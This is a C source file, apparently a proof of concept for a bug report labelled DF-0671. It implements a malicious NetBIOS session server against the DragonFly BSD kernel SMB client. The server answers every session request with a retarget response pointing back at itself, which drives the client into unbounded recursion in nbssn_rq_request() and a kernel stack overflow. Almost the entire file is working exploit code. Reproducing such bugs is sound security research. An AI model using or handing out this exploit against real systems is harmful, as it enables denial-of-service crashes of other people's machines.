DF-0671 / evil_nbserver.c
/* * DF-0671 evil NetBIOS server: always answers the NB session request with a * RETARGET (NB_SSN_RTGRESP = 0x84) pointing back at itself, so the DragonFly * kernel client recurses in nbssn_rq_request() forever -> stack overflow. * * sys/netproto/smb/smb_trantcp.c:262 smb_nbst_disconnect(nbp->nbp_vc, td); * sys/netproto/smb/smb_trantcp.c:263 error = nb_connect_in(nbp, &sin, td); * sys/netproto/smb/smb_trantcp.c:265 error = nbssn_rq_request(nbp, td); <-- unbounded self-recursion * * NBSS header (4 bytes, network order), parsed by nbssn_recvhdr(): * byte0 = type (0x84 RTGRESP), bytes1-3 -> length = b1<<16|b2<<8|b3 (mask 0x1ffff) * RTGRESP payload = 4 bytes IPv4 + 2 bytes port (read by md_get_mem/md_get_uint16). * * Usage: ./evil_nbserver <port> (default 139; root needed for <1024) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <signal.h> static void reply_rtgreg(int fd, in_addr_t ip, in_port_t port) { /* RTGRESP header: type=0x84, len=6 */ unsigned char hdr[4] = { 0x84, 0x00, 0x00, 0x06 }; /* payload: 4-byte IP (network order) + 2-byte port (the value placed * verbatim into sin_port by nbssn_rq_request; send it network order) */ unsigned char pay[6]; memcpy(pay, &ip, 4); pay[4] = (port >> 8) & 0xff; pay[5] = port & 0xff; if (write(fd, hdr, 4) != 4) { perror("write hdr"); return; } if (write(fd, pay, 6) != 6) { perror("write pay"); return; } fprintf(stderr, "[evil] sent RTGRESP -> %s:%d\n", inet_ntoa(*(struct in_addr*)&ip), ntohs(port)); } int main(int argc, char **argv) { int port = (argc > 1) ? atoi(argv[1]) : 139; int srv, cli; struct sockaddr_in sa; in_addr_t selfip; int one = 1, level = 0; signal(SIGPIPE, SIG_IGN); srv = socket(AF_INET, SOCK_STREAM, 0); setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (bind(srv, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; } if (listen(srv, 64) < 0) { perror("listen"); return 1; } selfip = htonl(INADDR_LOOPBACK); fprintf(stderr, "[evil] listening on 127.0.0.1:%d, will retarget back to self\n", port); for (;;) { unsigned char hdr[4]; int n, len; cli = accept(srv, NULL, NULL); if (cli < 0) { perror("accept"); continue; } level++; fprintf(stderr, "[evil] connection #%d accepted\n", level); /* read the NB_SSN_REQUEST header (4 bytes) */ n = read(cli, hdr, 4); if (n < 4) { close(cli); continue; } len = ((hdr[1] & 0x1) << 16) | (hdr[2] << 8) | hdr[3]; fprintf(stderr, "[evil] req type=0x%02x len=%d -> draining\n", hdr[0], len); /* drain the request body */ while (len > 0) { char buf[256]; int r = (len > (int)sizeof(buf)) ? (int)sizeof(buf) : len; r = read(cli, buf, r); if (r <= 0) break; len -= r; } /* reply: retarget back to ourselves on the same port */ reply_rtgreg(cli, selfip, htons(port)); /* give the client a moment, then drop; client will disconnect+reconnect */ usleep(20000); close(cli); if (level > 500) { fprintf(stderr, "[evil] 500 levels served, looping\n"); level = 0; } } return 0; } |